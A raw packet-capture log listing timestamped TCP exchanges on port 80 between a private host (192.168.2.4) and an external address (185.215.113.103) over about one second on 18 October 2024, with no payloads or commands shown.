Oct 18, 2024 15:04:09.791199923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.791230917 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.791251898 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.792431116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.792444944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.792485952 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.793486118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.793498993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.793509960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.793539047 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.793559074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.794573069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.794591904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.794625044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.794640064 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.795711994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.795726061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.795767069 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.796875000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.796888113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.796927929 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.798027039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.798041105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.798051119 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.798072100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.798110962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.798842907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.798862934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.798893929 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.798918962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.799781084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.799793959 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.799833059 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.800617933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.800630093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.800668955 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.801516056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.801528931 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.801572084 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.802469015 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.802483082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.802493095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.802517891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.802536964 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.803426981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.803440094 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.803479910 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.804198980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.804212093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.804222107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.804258108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.804267883 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.850867033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.851083994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.851095915 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.851224899 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.851490974 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.851502895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.851545095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.852530003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.852543116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.852574110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.852602005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.853115082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.853126049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.853195906 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.854126930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.854140043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.854197025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.854996920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.855010033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.855063915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.855096102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.855942965 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.855954885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.855963945 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.855998993 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.856031895 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.856910944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.856924057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.856978893 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.857928038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.857942104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.857989073 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.858783960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.858800888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.858834028 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.858865023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.859607935 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.859621048 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.859631062 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.859657049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.859683990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.860200882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.860213995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.860254049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.861010075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.861021996 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.861056089 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.861838102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.861850023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.861888885 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.862468004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.862479925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.862512112 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.863341093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.863353968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.863363981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.863389969 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.863435030 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.864010096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.864022017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.864063978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.864880085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.864892960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.864929914 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.865605116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.865617037 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.865653992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.866247892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.866260052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.866271019 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.866288900 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.866342068 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.866990089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.867003918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.867047071 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.867727995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.867739916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.867774010 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.867798090 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.868558884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.868571043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.868613005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.869088888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869136095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869153976 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.869182110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.869836092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869848967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869858980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869869947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.869893074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.869916916 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.870831966 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.870843887 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.870853901 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.870894909 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.870912075 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.871800900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.871813059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.871824026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.871855974 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.871882915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.872713089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.872725010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.872735023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.872746944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.872787952 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.872817039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.873615980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.873629093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.873639107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.873666048 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.873680115 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.874545097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.874557018 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.874567986 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.874718904 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.875550032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.875562906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.875574112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.875585079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.875616074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.875638962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.876344919 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.876358032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.876368999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.876405954 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.876434088 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.877259016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.877270937 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.877283096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.877315998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.877341032 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.878154993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878168106 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878177881 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878190041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878211021 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.878237963 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.878958941 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878971100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.878983021 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.879012108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.879025936 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.879762888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.879775047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.879785061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.879846096 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.880568027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.880580902 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.880590916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.880601883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.880621910 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.880644083 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.881299019 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.881310940 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.881320953 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.881345987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.881362915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.882044077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882055998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882066011 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882097006 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.882121086 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.882821083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882833958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882843971 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882855892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882865906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.882875919 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.882906914 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.883822918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.883835077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.883845091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.883856058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.883873940 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.883894920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.884778976 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.884792089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.884802103 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.884813070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.884824991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.884835005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.884855032 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.884867907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.885946035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.885958910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.885968924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.885981083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886006117 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.886035919 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.886822939 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886836052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886846066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886857033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886868000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.886883974 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.886921883 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.887893915 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.887906075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.887916088 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.887928009 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.887947083 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.887968063 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.888808012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.888819933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.888829947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.888843060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:09.888864040 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:09.888884068 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.012303114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012324095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012336016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012403011 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.012460947 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.012602091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012613058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012624979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012636900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.012651920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.012684107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.013439894 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.013451099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.013462067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.013473034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.013483047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.013489962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.013530016 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.014399052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.014410019 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.014420033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.014430046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.014463902 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.014477968 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.015316010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.015328884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.015340090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.015351057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.015360117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.015369892 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.015398026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.016371012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.016382933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.016393900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.016405106 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.016427040 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.016444921 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.017328978 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.017340899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.017352104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.017362118 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.017401934 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.017402887 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.017424107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.017441988 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.018352985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.018364906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.018376112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.018387079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.018409967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.018436909 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.019332886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.019349098 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.019359112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.019371033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.019381046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.019396067 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.019423008 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.020396948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.020410061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.020421028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.020431995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.020456076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.020473957 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.021469116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.021481991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.021492004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.021503925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.021529913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.021548033 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.022392035 CEST	80	49799	185.215.113.103	192.168.2.4
